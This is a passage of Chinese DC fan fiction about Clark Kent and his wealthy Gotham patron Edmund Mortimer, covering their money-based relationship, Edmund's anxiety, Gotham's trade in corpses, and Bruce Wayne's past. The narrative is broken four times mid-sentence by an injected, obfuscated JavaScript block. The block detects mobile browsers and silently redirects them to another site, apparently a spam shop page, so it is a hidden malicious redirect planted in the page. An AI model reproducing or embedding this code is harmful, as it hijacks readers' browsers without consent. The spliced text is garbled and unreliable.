克拉克看着埃德蒙的邮件,又看着自己账户里多出来的三万美元,他数了又数,还是人生中第一次见到自己的账户里有那么多钱。他觉得自己的手脚有些冰凉,他一瞬间理解了为什么会有人想要通过和有钱人建立关系来赚钱。 他的同学全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048798|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勤卖血,一个月拿到了八百美元,还是税前。 他的另一个同学卖卵子拿了五百美元,不过那是因为她差点死在手术台上,抢救花了不少钱——那还是不错的医院了,至少没有让她欠更多钱。 他还有一个同学卖身,就是那个推荐他找个Sugar daddy的同学,一个月两千美元。 他和埃德蒙吃了顿饭,甚至是他在吃,埃德蒙在看,就拿了三万美元。 这也是克拉克人生中第一次真正意义上感觉到了金钱的可怕,他甚至觉得要是真的能每个月拿到三万美元,他给埃德蒙卖身也没什么,反正他不会受伤……他一头撞在桌子上希望自己清醒一点,事情不能这么算,但他真的很需要钱。他家里的农场正在被更大的农场威胁,逐渐入不敷出,农机需要的维修费越来越高,关税让他们甚至要花一大笔钱购买装化肥的袋子…… 三万块钱,别说是三万了,就算是三百美元都够玛莎休息好一阵子了,他们可以买新的拖拉机和联合收割机,他们可以买新的衣服,他们可以增加取暖,玛莎的手在冬天不会长冻疮,乔纳森也可以休息,可以去理疗,可以不用唉声叹气…… 最后克拉克还是加了埃德蒙的WhatsApp?好友。 “我知道,您现在的感觉很不好,”在通过好友认证之后,埃德蒙给克拉克发信息,“请放心,我无意胁迫您。我只是最近度过了一段有些难熬的日子,我希望可以给您打钱。” 克拉克说:“……?” 克拉克说:“抱歉,我不是很懂您的意思,埃德蒙先生。” “我不缺钱,”埃德蒙说,“我只是希望能够和您偶尔聊天,或者一起吃顿饭,或者送给您一些礼物。我在我们所在的地方无法见到像是您这样的人,肯特先生,您富有活力,身心健康,也有自己的尊严和思想……我缺少的正是这个。您可以认为我是希望和更有活力的人待在一起,从虚无中解脱。当然,这些钱不是买断您的空余时间,只是单纯的感谢您让我今天恢复了食欲,吃了一点东西。” 克拉克沉默了一会儿,他确实相信埃德蒙口中说的“度过了有些难熬的日子”,他见到的埃德蒙似乎非常疲惫,还有些恹恹的,如果他们之间的关系更纯粹的话,克拉克是会为了埃德蒙担心的。 “你需要我给你什么?埃德蒙先生。”然后克拉克问。 “只要你活着就可以了,”埃德蒙回答,“如果不介意的话,我想看你拍一些活着的东西,小花,小鸟,猫狗……这些都好。我也希望你可以定期发照片证明你还活着,肯特先生。” 克拉克在一瞬间被触动了,他知道埃德蒙是真心的——不真心也不需要打钱,他很难想象要怎样才能让一个18岁的孩子(至少对克拉克来说,18岁是小孩)说出“只要你活着就可以了”这种话。于是他回复:“好的,你可以叫我克拉克。” 然后他又收到了转账的邮件。 克拉克又吓得飞了起来。 5. 金钱万能 克拉克站在窗前,他又伸了个懒腰,今天是平安的一天,至少没有发生什么飞机坠落、轮船沉船、龙卷风把房子卷起来之类的,只有超人才能解决的灾难,不过他在赶稿的时候还是出去帮忙扑灭了一场山火。适度的山火有利于森林群落的演替,但过量的山火只会成为灾难。他长舒一口气,开始思考要不要去哥谭找埃德蒙,其实他已经不生气了,其实他一开始就没对埃德蒙生气。 他其实可以理解,人情世故就是这样,就像是他一开始在大学里的时候依旧是一个边缘人。教授很少注意到他的存在,他的文笔并不是全专业最好的,也没有什么家庭背景,不过教授不至于忽略或者霸凌他。他没有加入兄弟会,他觉得这种传统非常恶心,也因此他没有那种值得被诅咒的“人脉”。一个普通人很难成为成功的记者,这是由眼界和“关系”决定的。 大都会大学新闻学专业并不算赫赫有名,但他的同学们大多数都能掏出社会实践的报告,这些报告彰显着他们有机会采访名人。克拉克没有这个机会,平时这种好事也很难轮得到他。他不擅长对教授溜须拍马,教授也没法带他出去打下手。有一次教授劝过他转专业,教授建议克拉克学理,因为克拉克的数学不错,克拉克拒绝了。 但在和埃德蒙扯上关系之后,一切都发生了变化——不只是钱,虽然他确实从埃德蒙那里拿到了不少钱。埃德蒙说的自己只是想找个人打钱不是白说的,有时候凌晨三点,克拉克都会被邮件的声音吵醒,看到埃德蒙又给自己打钱了。克拉克查过埃德蒙名下的产业,也问过埃德蒙有多少钱,而实际情况是算不清。 他真正从埃德蒙那里获得的是人脉,是惊心动魄级别的人脉。 就像是出版的这本书一样,埃德蒙只要写一封信,就有无数评论家去看克拉克的书,然后写读后感,而如果没有埃德蒙的这封信,克拉克的书就算再好看一千倍,也只能不断把稿子寄给不同出版社的编辑,等待某个人看完这本书。埃德蒙给克拉克准备了各种礼物,这些礼物可以被转赠给教授、同学、已经毕业的学长学姐,收到礼物的人会记住克拉克,会给克拉克机会和帮助。 教授把独立采访的任务交给克拉克之后,埃德蒙一个电话就能让采访对象的上级跟采访对象打招呼,只要说一句“好好接受采访,有点耐心”,采访对象就愿意回答克拉克的一切问题。甚至于克拉克只要拿着埃德蒙的名片……不,不需要名片,他只要穿着埃德蒙给的衣服就能随意进出各种高级场合,哪怕是一些会员制的店铺。 克拉克并不为这种感觉着迷,他只是觉得有些悲哀,这个国家的上下层被严格的区分开来,似乎不是同一个物种。而他跨越这个分隔也不是因为他勤劳踏实,而是因为他长得漂亮,找到了一个足够有钱,又足够喜欢他的资助者。但排除掉这些,他对埃德蒙的观感还是很好,埃德蒙对他,对任何人都平静温和,从来没有逼迫过他做任何事情。 在思考的时候,克拉克听到了有人正在走上他门前的台阶然后按响了门铃,于是克拉克走过去打开房门,站在门前的是埃德蒙的护卫之一,埃德蒙叫他“约翰”,谁知道是不是真名。此时此刻约翰对着克拉克微微颔首:“克拉克老爷,这是埃德蒙老爷给您的礼物,请查收。” 克拉克接过那个小小的盒子,约翰转身离开了克拉克的视线,克拉克打开了盒子,然后叹了口气,盒子里的是一块手表,精致得就像是什么艺术品。自然,这么说会让人无法理解这块表的价值,所以可以直接说价格。一百三十万美元左右,这就是这块表的价格,但价格在这个地步就只是数字了,克拉克不需要这个。 但这也是埃德蒙舒缓压力的方式,按照埃德蒙自己的说法,他给克拉克打钱、买东西的时候,自己会觉得很轻松。克拉克其实不是很理解这种心情,在收下礼物的时候他会把礼物留着,除非礼物是吃的东西,不过他很少拒绝,他希望能让埃德蒙更心安一些。不过,如果真有必要,或者埃德蒙需要,他会把这些礼物原封不动的还给埃德蒙。 如果他们之间没有这种金钱的关系,克拉克或许会更加轻松,但如果没有金钱作为支撑,他们甚至不会开始。这也是一直以来让克拉克感到错位的事情,他并不讨厌埃德蒙,不讨厌和埃德蒙之间发生的一切,只是他们相差甚远,这份差距影响很大。 他考虑过自己的人设,在刚上大学的时候,他将自己伪装成一个更加愚钝的乡下小子,这可以让打量他的目光变少。他需要伪装自己,防止被看出端倪,被发现是一个“外星人”,传说中有个秘密研究外星人的51区,在那里他们把外星人剖开拆解,发展科技,克拉克不想成为下一个躺在实验室床上的外星人。 但现在克拉克的人设是埃德蒙·莫蒂默先生的Sugar baby,还是那种非常幸运,非常有手段的Sugar baby。十年过去,他不仅没有被埃德蒙厌倦,反而飞黄腾达,有了自己的事业,真正靠自己挤入了“上流社会”。不少人会偷偷询问他让金主保持兴趣的关键是什么,克拉克没法回答他们只是“活着”。埃德蒙对他近乎痴情,克拉克很清楚这一点。 虽然他的现状和他的希望背道而驰,不过这也不错,至少克拉克的呼吁会更容易被听到。克拉克从某种角度来说也是一个随遇而安的人,在不同的境遇,他能够以不同的方式保护和珍惜这个世界。 不过偶尔克拉克也会想,要是让埃德蒙知道他包养的是超人,事情又会变成什么样。 在约翰回来,告诉埃德蒙克拉克已经把礼物收下了之后,埃德蒙才终于松了口气。他知道阶级滑落,或者死亡是一件多么简单的事情,他一直都担心这样的事发生在克拉克的身上,只有在确定克拉克的卡里有足够的钱,或者克拉克有足够证明自己的财力或者体面的东西的时候他才能放心。埃德蒙知道自己有点不正常, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048799|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过在哥谭他的心理状况算很好的那种了。 他已经洗好了澡,身上也没有那种死亡的气息,他的兄长雨果让家里的仆人给他送来了晚餐,顺便整理了一下房间。埃德蒙在墙角的喂食器里加上猫粮,又给水碗换了水。他在家里养了一只猫,可惜的是猫不喜欢他,平时几乎从来不出现在他的眼前,只有通过监控,或者查看猫粮和水的减少,才能确定猫还在家里。 埃德蒙打开餐盒,雨果很清楚埃德蒙喜欢吃什么——他不是素食主义者,但也不是很喜欢吃肉,另外,埃德蒙只会吃能够看出是什么动物的肉的肉制品,比如说,埃德蒙从来不吃汉堡,因为汉堡肉是需要剁碎之后做的。埃德蒙个人认为这不是怪癖,这只是一种身在哥谭的自我保护,经常有人在汉堡肉里吃出牙齿。 吃完饭之后,他让仆人带走餐具,自己则开始看书,现在是夜晚,哥谭的夜晚不适合外出,不过也没什么地方适合在晚上出门。在夜晚出门跑步,顺便吃点什么,这样的记忆非常遥远,甚至给人的感觉不是什么前世记忆,而是单纯的幻觉。不过,现在说穿越什么的,确实可能会被人当做嗑多了之后的胡言乱语,所以埃德蒙不会说废话。 他现在更关心的还是那个骨头上有缝合线的人,DNA的检验报告要过几天才能出来,这还是因为埃德蒙催了。这种没有家人的尸体一般不会进行DNA检验,就算真的检验了还得排队,许多案件就是这样被“解决”的,绝大部分人的生死对于这个世界来说没有任何意义。 先发来的是雨果的短信,雨果告诉他这具尸体和家族无关,但不确定是不是其他猫头鹰家族的手笔,当然,考虑到这里是哥谭,因此也有可能是什么人突然获得了“启示”,成为了超级反派。因为这里是哥谭,所以一切都很正常,不正常的是觉得异常的人。不过雨果也提醒埃德蒙,在确定究竟是谁搞出的这一切之前不要轻举妄动,面对其他猫头鹰和面对超级反派应该做出的应对是不同的。 埃德蒙长出了一口气。 他倒是有些想把尸体的事情告知蝙蝠侠,但是这段时间蝙蝠侠对哥谭的探查更加深入,猫头鹰认为蝙蝠侠可能成为猫头鹰继续发展的阻碍。埃德蒙的保镖和仆人对他自然忠诚,但这并不代表埃德蒙可以为所欲为,他也不能保证在将事情告诉蝙蝠侠之后自己不会受到影响。包养记者和私下与蝙蝠侠沟通是不同的事情,离经叛道之人不受欢迎。 但埃德蒙也做不到完全对这件事坐视不管,能有这样技术精湛的拼好人出现在他的面前,说明那个不管是谁的家伙就没少做人体实验,如果放着不管,还不知道有多少拼好人会出现在埃德蒙面前。哥谭的尸体已经够多了,甚至到了卖出去还得打折,如果没有什么科技和狠活都卖不上价格的程度,埃德蒙不想继续每天盯着尸体忙碌了。 他得想个法子把尸体的事情捅到超级英雄的面前,最好还不要被发现这件事与他有关。 6. 克拉克 在睁开双眼的同时,埃德蒙感到了一阵微弱的恍惚,按照排班表,他今天并不当班,于是他就干脆关了闹钟,打算能睡到几点是几点。然而过于厚重的遮光窗帘将一切能够透入他的房间的光线全部遮挡,在一瞬间他体会到了难以言喻的孤寂,仿佛整个世间都只有他一个人存在。他向着床头柜伸手去拿自己的手机,然而手臂碰到了一些毛茸茸的东西。 埃德蒙略微恍惚了一阵,然后才打开床头灯,映入眼帘的是对他露出微笑的克拉克,克拉克眨了眨眼,凑上来和他接吻:“早上好,亲爱的,看起来你昨晚睡得很香,竟然没发现我已经来了。”克拉克是一个很美的人,埃德蒙一直都知道,他的手指轻轻摩挲着克拉克的眼角,看着那双蓝得惊人的眼睛。 克拉克没有戴眼镜,他已经习惯了和埃德蒙在一起的时候不戴眼镜,他像是猫一样伸了个懒腰。 (此处省略四次高审,如果有人觉得字数不对,哈哈!) 克拉克拿大拇指抹了一下嘴角,然后问:“今天早饭吃什么?还是从你家里送来吗?下次让他们送点热牛奶来。” “我会的,我先去洗漱,你也一起来。”埃德蒙说,他从衣柜里拿出一件睡袍递给克拉克,他的房间里一直开着空调,确实不会让克拉克感觉到寒冷。克拉克披上了丝绸的睡袍,纤薄光滑的丝绸在他的身体上像是水一样流淌。最开始克拉克还会觉得丝绸太过于贴身,太过于薄了,但现在克拉克也已经习惯了这种柔滑的触感。 早饭同样是莫蒂默家的仆人带来的,鱼子酱配法棍和黑鲔鱼刺身,埃德蒙稍微吃了一点就开始吃鸽子蛋,他不习惯早上吃生冷的东西,反而是煮鸽子蛋热一点。克拉克从微波炉里拿出刚加热好的牛奶递给埃德蒙,埃德蒙不吃的东西他刚好爱吃。埃德蒙依然很喜欢看克拉克吃东西的样子,克拉克吃起东西来非常认真,让人忍不住微笑。 埃德蒙看着克拉克吃东西,他也能吃下更多,他自己已经对进食有些抵触了,如果不是克拉克的存在,他觉得自己会被饿死也说不定。 仆人们并没有出现在埃德蒙的面前,因为他们很清楚埃德蒙不喜欢吃饭的时候边上有个人杵着。等埃德蒙和克拉克吃完饭之后他们才走到了餐厅收拾碗碟,埃德蒙吩咐他们明天带点热的东西来,比如说水晶虾饺。莫蒂默家雇佣了各国的厨师,也可以直接把餐馆大厨接到家里,这不是难题。 克拉克吃饱喝足,靠坐在椅子上玩手机,埃德蒙走过去抚摸着他的头发:“你还好吗?” “什么?”克拉克抬头看着埃德蒙,然后露出了一个微笑,“我当然很好,反而是你,昨天又是忙碌的一天?” 埃德蒙真情实感地叹了口气,忙碌倒算不上,他昨天一共也就接诊了两名病人。毕竟哥谭总医院的医药费和诊疗费着实高到会让人觉得这是在拿钱买命(事实也正是如此),而埃德蒙基本上可以说是专精器官移植和免疫排异的外科医生,做得起这种手术的人就更少了。在绝大部分时候他真正的开工方式是直接被直升机带到私人医院,那里有病人,还有给病人准备好的,新鲜的器官。 “新鲜的器官”,光是这样的一个词语就能说明很多东西了,他的病人们从来没有对他掩饰过器官的来源,这一点映衬得会感到惊讶或者恐惧的人都有些过于大惊小怪了。与活人相比,那些被泡在下水道里,被老鼠、浣熊、蛆虫和螃蟹啃食得面目全非的尸体都更加眉清目秀。他还被送过几双皮鞋,几个皮包,一些骨骼风铃。 “还好,只是哥谭又出了些严重的事故,不是单纯死人的那种事故,”埃德蒙将克拉克搂在怀里,一边把下巴搭在克拉克的肩上,一边伸手搂住了克拉克,“嗯……我也不知道该怎么和你形容,总之有点像乐高积木人,把身体和腿换着拼搭起来,目前不确定是不是超能力者做的,但基本上也只有超能力者会把水口修得那么干净,甚至在外面都看不到合模线……” “你别说了,我都想象到了,”克拉克发出呜呜的声音,他挺恨自己的想象力的,“还有,你晚上要干什么” 埃德蒙还是在克拉克的身上理解了什么叫“肤如凝脂”,以前他只知道猪油炒青菜味道好吃。 “再让我抱一会儿,”埃德蒙说,他在克拉克的脖颈上落下亲吻,“拜托了,克拉克。”其实不拜托克拉克,继续按照自己的喜好随意搂着克拉克也可以,但是埃德蒙觉得最好还是在得到允许之后继续抱着他更好。更不要说克拉克几乎不会拒绝他,克拉克自己其实也很喜欢被拥抱。 “哎,好吧,”克拉克回答,他看着埃德蒙拥抱自己的手,无奈地笑了一下,“所以呢?哥谭的超级反派?你打算把你的发现告诉谁?上报给GCPD了吗?” “上报给GCPD,不就代表全哥谭都知道了?GCPD和帮派训练营唯一的区别是帮派训练营里每个帮派的人没有那么和谐,企鹅人帮的小企鹅和黑面具帮的小面具也就只有在GCPD会一起喝咖啡一起吃甜甜圈了……”埃德蒙的语气稍稍激烈了一瞬间,然后他叹了口气,“事情不该是这样的,克拉克。” “是啊,事情不该是这样的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048800|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但我们还是不得不遭遇这一切……或许我可以协助调查?你知道的,毕竟我还是调查记者,”克拉克说,他把自己的手搭在埃德蒙的大腿上,“嗯,或者也可以尝试去求助超级英雄?哥谭的超级英雄是蝙蝠侠和罗宾,对吧?说不定可以联系他们?” 不过克拉克也很清楚,埃德蒙不可能去联系蝙蝠侠。哥谭的各个家族和蝙蝠侠之间的关系其实并不算好,蝙蝠侠代表的是与他们的秩序截然相反的另一种秩序,甚至偶尔还会影响到他们的“家族生意”。就算是埃德蒙也无法用平常的眼光看待蝙蝠侠,克拉克知道这一点,不过埃德蒙的态度已经算得上非常缓和了,有些家族甚至在考虑要将“夜晚蒙面出现在街道上”定义为犯法。 听到埃德蒙提到这件事的时候,克拉克甚至感觉到了荒谬,但他很快又意识到了这完全是可能发生的事情,如果不是因为韦恩家族在哥谭还有地位,并且GCPD不打算惹上那么多的麻烦的话。克拉克将脸埋在埃德蒙的头顶冷笑了一声,不是针对埃德蒙的,当然不是针对埃德蒙的,而是他认为要是埃德蒙不方便将这件事通知蝙蝠侠,他可以代劳。 克拉克并不担心这会给埃德蒙引来麻烦——如果是过去的话,他会的,不过现在的他知道埃德蒙在莫蒂默家族的身份和地位,埃德蒙不会那么容易受到影响。只不过埃德蒙的性格如此,他不喜欢冒着危险,总是瞻前顾后……也不是说克拉克会觉得这不好,埃德蒙正是靠着这种“瞻前顾后”的态度活过18岁的。 “今天你有什么安排吗?”然后克拉克问,“先说好,我下午还有采访,不可能陪你玩得太疯。当然,如果你打算出席的话,我要蹭你的车。” 埃德蒙想了一会儿才想起克拉克说的到底是什么,今天晚上有个慈善晚宴,雨果明确说了自己没时间出席,要埃德蒙代表莫蒂默家族出席。其实埃德蒙的三姐也可以出席,但埃德蒙的三姐伊莎贝尔此时此刻正在海上海钓,那条黑鲔鱼就是她钓上来的,在船上处理好之后让仆人送回家来。 “我要去参加,”埃德蒙回答,“等会儿你去挑点新衣服和首饰,正好新品清单送来了,看看有什么喜欢的就让他们拿来。” 克拉克点了点头,过去生活在农场中的那个孩子从来不会知道,原来买东西是可以让店里的人把清单送来,让店员□□的。克拉克甚至一度分不清那些东西的品牌,毕竟也不是所有牌子都恨不得把自己的标签印满全身,昭彰着自己的知名。克拉克甚至从未在自己能够踏足的店里看到过这些品牌,那是电视上才有的东西。 7. 信任危机(那种语气) GCPD的停尸房中总共是堆满了尸体。 不同年龄、不同性别、不同种族的人只有在死后可以像是这样毫无芥蒂地聚在一起。然而即便如此,有一种尸体是GCPD的停尸房里没有的,那就是“上层人士”的尸体。这并不是说死神会因为金钱的多寡对人有所偏袒,或者说,金钱只能让人一时逃离死亡,却不能让人一直逃避下去。长寿是可能的,贩卖寿命本就是一种生意,可惜人们依旧追寻永生。 但与穷人相比,有钱人一般会死在装修精美的医院,死在高科技仪器的簇拥之中,或者在柔软的床上握住神父的双手,期待着再次睁开双眼的时候身处天堂之中。会沦落到GCPD的停尸房的有钱人本就凤毛麟角,而一旦出现了一个特例,他的家人也会催促着验尸尽快结束,立刻找出凶手,然后将自己的家人带回去安葬。 然而就算是能塞满整个停尸房的尸体,对于哥谭而言也只是沧海一粟,更多的尸体在到达停尸房之前就被浣熊、野狗、郊狼、老鼠和各种昆虫吃尽了,没被吃掉的部分则被卖给医院、实验室和各种收藏家们。当然不是说在GCPD的尸体就能及时被火化或是入土为安了,只不过警察局卖尸体的速度要慢一点,也会更多的去联系死者的家人——尸体的主人。 埃德蒙偶尔也会做些尸体掮客的工作,他的职业让他能够接触更多的尸体,也能比一般人更好地理解尸体罕贵的程度,更重要的是,没人敢在面对他的时候压价。于是他能保证GCPD的每个尸体都能卖个好价钱,给死者的家属,也给警察局的同事。他不缺钱,但他从来不会挡别人的财路,这也是为什么GCPD的人怕他,也爱戴他。 需要埃德蒙亲手解剖的尸体并不算多,还是那句话,在哥谭,不是每个死人都有荣幸被立案的,哪怕到了GCPD,最常见的结果也就是放一段时间之后卖掉。这次尸体被埃德蒙检验的最大原因还是它被发现的地点,那里并不是什么下城区,大概两百米的地方还有一个“白领社区”。绝大部分时候,警察也就是代理收尸而言。 埃德蒙打开电脑,开始批改论文。他在哥谭大学有个医学教授的挂名职位,本来他和学校说好只是挂名,最多也就是偶尔去学校演讲或者示范器官移植的手术,但有个教授在不久前发疯了——不是比喻,而是真的进了阿卡姆疯人院,这导致他手下的几个博士生面临无法毕业的窘境。其他教授基本也已经有了自己的学生,于是校方只能联系埃德蒙。 埃德蒙一直都秉承着能帮就帮的准则,反正就是带一下博士,他上辈子就没少干,这辈子更是轻车熟路——更何况这几个博士的专业水平都不错,欠缺的也只是一点点运气。他先帮人毕业,然后写几封推荐信,或者找人帮忙写几封推荐信,确保他们都有工作,这样就仁至义尽了。他对这些不是很熟的人自然不可能像是对克拉克那样尽心尽力。 为了克拉克的事情,埃德蒙是真的忙了很久。当然,这并不是说克拉克就没法以自己的能力毕业了,他的专业课成绩不错,平时的绩点也高,但是毕业之后才是真正的重头戏。记者这一职业非常注重人脉,单纯只是毕业是根本没法找到什么好工作的,克拉克又不想随便找个小报社,一辈子写点公众号或者八卦勉强混口饭吃,对人脉的要求就更高了。 于是自包养克拉克开始,埃德蒙就给克拉克的教授写了一封信,让教授多照顾一下克拉克。他还给教授安排了一些采访,要求只有带上教授门下的弟子,包括克拉克,甚至于他们外出采风的经费都由埃德蒙提供了一部分。住在安全的地方,吃美味而营养的食物,这就是埃德蒙的全部要求,钱多事少,这也是大家对埃德蒙的看法。 甚至于,原本奖学金是没有克拉克的份的,哪怕他的绩点很高,哪怕他的专业水平非常不错。有权利获得奖学金的人大部分不缺这点钱,只是一种身份的镀金,尤其是新闻相关专业的——如果是理化生或者相关科目,还有科研能力十分出色而拿到奖学金的可能。像是克拉克这样家境普通的学生从最初便与这些东西相行甚远,只是因为埃德蒙,他才拿到了不菲的奖学金。 自然,和埃德蒙的关系也引来了他人的不满,但这份不满并不是认为克拉克作为一个大学生接受包养自甘堕落,而是克拉克把自己的金主看得太严了,没有给其他人留下献媚的余地。在包养了克拉克之后,埃德蒙就在克拉克的强烈要求下删除了糖爹网的账号,又拒绝了许多主动投怀送抱的人。知道克拉克被包养这件事的人嘲讽克拉克,自己上岸了就把其他人的路子断了。 克拉克其实没想那么多,他的思维相当单纯,他认为埃德蒙是个好人,只是因为太有钱了所以才会陷入虚无主义之中,认为人与人之间的关系是可以简单用金钱来衡量的。现在他在埃德蒙的身边,被埃德蒙所“包养”,虽然他不能为一个18岁的孩子提供那种“服务”,但他至少可以照顾一下埃德蒙,让埃德蒙不至于坠入更深的诱惑之中……至少他可以给埃德蒙提供一些好的东西。 他很认真地策划了要怎么让埃德蒙觉得人生更有意义,他甚至还把埃德蒙带回过斯莫威尔。出乎克拉克的意料的是,埃德蒙并不是那种连麦子和水稻、玉米和甘蔗都分不清的人,埃德蒙甚至可以挽起袖子帮忙干点农活,只不过因为埃德蒙再怎么锻炼也还是细皮嫩肉的年轻人,稍微干了一会儿就手掌起泡,只能坐在一边休息了。 埃德蒙在乡下确实恢复了一点活力,可惜克拉克不知道为什么每次埃德蒙在离开农场范围的时候都会露出相当微妙的表情,不过总体来说,他们之间的相处还是非常愉快的。埃德蒙甚至帮乔纳森做了简单的理疗,提供了食疗和手术后恢复的建议,之后埃德蒙还送来了家用的理疗仪。克拉克不敢说的是,埃德蒙还和保险公司打了个招呼,降低了乔纳森之后的医保费用。 克拉克毕业的时候,埃德蒙也给他准备了推荐信,他只面试了一次就进入了星球日报的报社,他的工资是同时入职的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048801|194776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他同事的一倍,克拉克其实不喜欢这样,他还是更想当一个一步步走上去的调查记者。埃德蒙并没有阻拦克拉克当调查记者,只是那段时间埃德蒙的焦虑更严重了,克拉克有时候一觉睡醒,发现埃德蒙一晚上给自己打了十多次钱。 这种话说出去会被人视为炫耀,但克拉克其实不是很喜欢这样,他觉得埃德蒙给自己的东西已经够多了,他希望他们之间的关系可以更超越金钱一点。可惜埃德蒙的焦虑几乎无药可救,最严重的时候甚至到了克拉克跟他分享采访经验的时候都会突然胃痉挛的程度,为了安抚他,克拉克只能让他们的关系更进一步。 这种安慰的效果倒是不错,克拉克也对他们之间发生的一切……挺满意的。埃德蒙不是个喜欢折腾人的人,而他们之间或许早就应该发生这些事了,虽然这一切在克拉克成为超人,建立了正义联盟之后变得更复杂了。超人在大都会的出现让埃德蒙的焦虑好了很多,毕竟埃德蒙知道克拉克要是遇到危险可以呼唤超人,但克拉克实在不知道怎么和同事们坦白自己的真实身份。 也不是说一定要坦白……但是在有信任危机的蝙蝠侠都坦白了自己是布鲁斯·韦恩之后,超人就有些不好意思继续装成完全不理解地球的外宾了。 然而克拉克·肯特,知名调查记者,拿过一次普利策,出版读物很可能拿第二次普利策……他被包养的事情其实不是什么秘密。虽然报纸上不许放出和莫蒂默家族的老爷相关的八卦新闻,但业内基本上都知道克拉克被埃德蒙包养,并且相当受宠,十年过去了,没有受过严重的创伤,也没被换掉。然而包养就是包养,他出卖身体,换取金钱和照顾,事情的本质不会发生变化。 记者克拉克被包养很正常,又不是说其他记者不这样了,但克拉克被包养和超人被包养的区别很大,最后的氪星人在地球上维生的方法之一是和地球有钱人上床……哪怕这件事没有传出去,只是在正义联盟的内部被人知道,克拉克都想逃到太阳上去。不过也不是说正义联盟的人就完全不知道克拉克被包养的事情了,至少布鲁斯知道,而且知道得非常早。 虽然布鲁斯会知道这件事也是个意外。 我们先把时间倒回到布鲁斯刚结束周游世界的旅程,回到了哥谭的时候,他再次踏入哥谭社交圈之时举办了一场宴会,记者们挤破脑袋都要出席,克拉克也并非例外。不过克拉克不需要挤破脑袋,他只要让埃德蒙带着他一起。为了体面地出席,埃德蒙还给克拉克专门挑了一身衣服…… 总之,刚回哥谭的韦恩少爷看着身着高定西装,戴着金丝边眼镜,佩着纯金镶嵌红宝石的胸针,手腕上还有一块一百来万美元的手表……全套装扮甚至比自己身上的这套还值钱(虽然一部分原因是那时候韦恩家确实还有点家道中落,不过之后布鲁斯接管了公司就好多了)的克拉克的时候,脑子没转过来。 不是哥们,你谁?什么时候哥谭多了这么个新少爷?什么叫他是被包养的记者? 8. 布鲁斯 在很久以前,布鲁斯·韦恩就认识了埃德蒙·莫蒂默。 自从醉心于城市建设的艾伦·韦恩因为不明原因意外身故之后,韦恩家族的状况就一直在走下坡路。韦恩集团连年亏损,不得不收敛许多对外贸易,如果不是因为玛莎嫁入韦恩家族带来了一笔不菲的注资,而托马斯还得到了一些外星科技,说不定等到布鲁斯这一代的时候,他们就从哥谭市的顶级富豪变成了普通有钱人。 不过即便如此,在托马斯和玛莎死后,布鲁斯也被挤出了整个哥谭的社交圈,甚至于如果不是因为玛莎的家族施以庇护,阿尔弗雷德又作为监护人保护了布鲁斯,就连他也可能会被儿童福利机构带走。他们会给布鲁斯找到一个合适的“亲戚”,让他“收养”布鲁斯,然后说不定哪一天布鲁斯便“意外身亡”了。这样的事情非常普遍,大家都是这么做的。 而莫蒂默家族便是有资格收养布鲁斯的家族之一,哥谭的家族之间本就有各种姻亲关系,这些关系共同织成了一张细密的大网,将整个哥谭包裹在内。哪怕韦恩家族淡出了社交圈,他们也会偶尔和那些家族交往。埃德蒙曾经来过韦恩家族,被他的兄长雨果抱在怀里——据说雨果的长子夭折,他把这个比他的长子还小一岁的弟弟视为自己新的孩子。 埃德蒙和一般的幼儿不同,他很安静,沉迷于自己的世界,但也不是智力发育不全或者自闭症,他可以和人正常沟通,只是不想说话。玛莎很喜欢埃德蒙,只要是可爱的孩子她都喜欢,在雨果和托马斯谈生意的时候,玛莎会和埃德蒙搭话,布鲁斯就在他们的边上。埃德蒙也很喜欢玛莎,至少布鲁斯是这样觉得的,埃德蒙不喜欢说话,但是玛莎和他说话的时候,他句句有回应。 